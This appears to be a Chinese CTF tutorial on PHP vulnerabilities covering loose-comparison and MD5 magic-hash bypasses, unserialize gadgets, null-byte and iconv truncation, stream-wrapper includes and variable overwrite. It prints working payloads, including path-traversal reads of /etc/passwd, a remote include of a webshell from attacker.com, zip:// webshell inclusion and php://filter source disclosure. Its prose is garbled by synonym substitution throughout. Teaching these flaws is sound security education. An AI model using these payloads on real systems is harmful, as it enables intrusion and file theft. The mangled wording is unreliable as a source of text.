PHP作为"天下上最好的措辞",其运用处景相称广泛,同时也引出了很多安全问题
一、弱类型
首先,我们须要知道PHP措辞中一些相等的值,如:

» '' == 0 == false
» '123' == 123
» 'abc' == 0
» '123a' == 123
» '0x01' == 1
» '0e123456789' == '0e987654321'
» [false] == [0] == [NULL] == ['']
» NULL == false == 0
» true == 1
在PHP措辞中,比较两个值是否相等可以用"=="和"==="两种 符号。前者会在比较的时候自动进行类型转换而不改变原来的值,以是存在漏洞的位置所用的每每是"=="。个中一个常见的缺点用法就 是:
if($input == 1){
敏感逻辑操作;
}
这个时候,如果input变量的值为1abc,则比较的时候1abc会被转换为1,if语句的条件知足,进而造成其他的漏洞。另一个常见的场景是在利用函数的时候,参数和返回值经由了类型转换造成漏洞。下面我们再来看一道真题:
if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){
echo $flag;
}
如何才能知足这样一个if判断条件呢?须要使两个变量值不相等而MD5值相等。这样的思路可以通过MD5碰撞来办理 (https://goo.gl/KV5ZQn)。让我们的思路回到PHP措辞,MD5函数的返回值是一个32位的字符串,如果这个字符串以"0e"开头的话,类型转换机制会将它识别为一个科学计数法表示的数字"0"。下面给出两个MD5以0e开头的字符串:
'aabg7XSs'=>'0e087386482136013740957780965295' 'aabC9RqS'=>'0e041022518165728065344349536299'
提交这两个字符串即可绕过判断。然后我们再来看一下上面示例题目的2.0版:
if($_GET['a']!=$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){
echo $flag;
}
当我们将"=="改换为"==="之后(如上方的代码),刚才的两个字符串就不能成功了。但是,我们仍旧可以连续利用PHP措辞函数缺点处理上的特性,在URL栏提交a[]=1&b[]=2成功绕过。由于当我们令MD5函数的参数为一个数组的时候,函数会报错并返回NULL值。虽然函数的参数是两个不同的数组,但函数的返回值是相同的NULL,在这里便是利用这一点奥妙地绕过了判断。
同样在程序返回值中随意马虎判断缺点的函数还有很多,如strpos,见PHP手册:
(PHP 4, PHP 5, PHP 7) strpos查找字符串首次涌现的位置
if(strpos($str1,$str2)==false){
//当str1中不包含str2的时候
敏感逻辑操作;
}
这也是一种常常能见到的写法,当str1在str2开头时,函数的返回值是0,而0==false是成立的,这就会造成开拓者逻辑之外的结果。
二、反序列化漏洞
PHP供应serialize和unserialize函数将任意类型的数据转换成string类型或者从string类型还原成任意类型。当unserialize函数的参数被用户掌握的时候就会形成反序列化漏洞。
与之干系的是PHP语法中的类,PHP的类中可能会包含一些分外的函数,名为magic函数,magic函数的命名办法因此符号"__"开头 的,比如__construct、__destruct、__toString、__sleep、 __wakeup等。这些函数在某些情形下会被自动调用。
为了更好地理解magic函数是如何事情的,我们可以自行创建一个 PHP文件,并在当中增加三个magic函数:__construct、__destruct和 __toString
<?php
$lists = [];
Class filelist{
public function __toString(){
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
} //.....
?>
页面的功能是将从cookie中反序列化过后的工具打印出来,这样 __toString()函数就会在打印的时候被调用。在本地天生filelist工具的时候,可以将source变量的值设置为想要读取的文件名,序列化后再提交即可。
天生序列化字符串的代码如下:
<?php
Class filelist{
public function __toString() {
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$f=new filelist();
$f->source="/etc/passwd";
print_r(serialize($f));
将打印出来的字符串作为参数提交,即可读取/etc/passwd文件。
如果代码量繁芜,利用了大量的类,每每须要布局ROP链来进行利用,可以参考phithon对joomla漏洞的剖析,链接地址为:
https://www.leavesongs.com/PENETRATION/joomla-unserializecode-execute-vulnerability.html。
除此之外,当php调用文件操作干系的函数的时候会实行mate-serialize,以是我们可以上次phar文件,里面布局序列化函数,来对文件进行操作,即phar反序列化漏洞
三、截断
NULL字符截断是最有名的截断漏洞之一,其事理是,PHP内核是由 C措辞实现的,因此利用了C措辞中的一些字符串处理函数,在碰着 NULL(\x00)字符的时候,处理函数就会将它当作结束标记。这个漏洞能够帮助我们去掉变量结尾处不想要的字符,代码如下:
<?php
$file = $_GET['file'];
include $file.'.tpl.html';
按照正常的程序逻辑来说,这段代码并不能直接包含任意文件。但是在NULL字符的帮助下,我们只须要提交:
?file=../../../etc/passwd%00
即可读取到passwd文件,与之类似的是利用路径的长度绕过。比如:
?file=../../../////////{N}/etc/passwd
系统在处理过长的路径时会选择主动截断它。不过这两个漏洞已经随着PHP版本的更新而消散了,真正碰着这种情形的机会已经越来越少。
另一个能造成截断的情形是禁绝确地利用iconv函数:
<?php
$file = $_GET['file'].'.tpl.html';
include(iconv("UTF-8", "gb2312", $file));
在碰着file变量中包含造孽utf-8字符的时候,iconv函数就会截断这个字符串。
在这个场景之中,我们只需提交"?file=shell.jpg%ff"即可,由于在utf-8字符集中单个"\x80-\xff"都是非法的。这个漏洞只在Windows系统中存在,在新版本的PHP中也已经得到修复。
四、伪协议
截断漏洞在新版本的PHP中每每难以见效,不过在上一部分的两个例子中,我们还能通过伪协议去绕过。但这种情形只适用于我们能掌握include指令参数的前半部分的时候。如果在php.ini的设置中让 allow_url_include=1,即许可远程包含的时候,我们可以令参数为:
?file=http://attacker.com/shell.jpg
这样,PHP做事会从攻击者的做事器上取得shell.jpg并包含。如果我们能上传自定义图片的话,那么我们可以将webshell改名为 shell.php并压缩成zip上传,然后再利用zip协议包含:
?file=zip://uploads/random.jpg%23shell.php
这样即可包含到shell。与zip协议效果相同的还有phar协议。
除此之外,我们还能通过伪协议读取到部分文件。在上面的例子中,如果做事器上有一个index.php,那么我们可以令参数为:
php://filter/convert.base64-encode/resource=index.php
然后,就能在页面中得到index.php文件源码base64编码后的字符串了。
五、变量覆盖
变量覆盖漏洞常日是利用外来参数更换或初始化程序中原有变量的值,在CTF比赛中一样平常要合营题目的代码逻辑或其他漏洞来进行攻击。本节将会为大家先容3种可以导致变量覆盖漏洞的环境。
a)extract函数
考虑如下代码:
<?php
$auth = false;
extract($_GET);
if ($auth) {
echo "flag{...}";
} else {
echo "Access Denied.";
}
?>
此处的extract函数将GET传入的数据转换为变量名和变量的值,以是这里布局如下Payload即可将$auth的值变为true并得到flag:
?auth=1
b)parse_str函数
考虑如下代码:
<?php
$auth = false;
parse_str($_SERVER['QUERY_STRING']);
if ($auth) {
echo "flag{...}";
} else {
echo "Access Denied.";
}
?>
此处的parse_str函数同样也是将GET传入的字符串解析为变量, 以是Payload与上方extract函数的Payload一样。
c)import_request_variables函数
考虑如下代码:
<?php
$auth = false;
import_request_variables('G');
if ($auth) {
echo "flag{...}";
} else {
echo "Access Denied.";
}
?>
此处,import_request_variables函数的值由G、P、C三个字母组合而成,G代表GET,P代表POST,C代表Cookies。排在前面的字符会覆盖排在后面的字符传入参数的值,如,参数为"GP",且GET和POST同时传入了auth参数,则POST传入的auth会被忽略。
须要把稳的是,这个函数自PHP 5.4起就被移除了,如果须要测试上方的代码请安装版本号大于即是4.1小于5.4的PHP环境。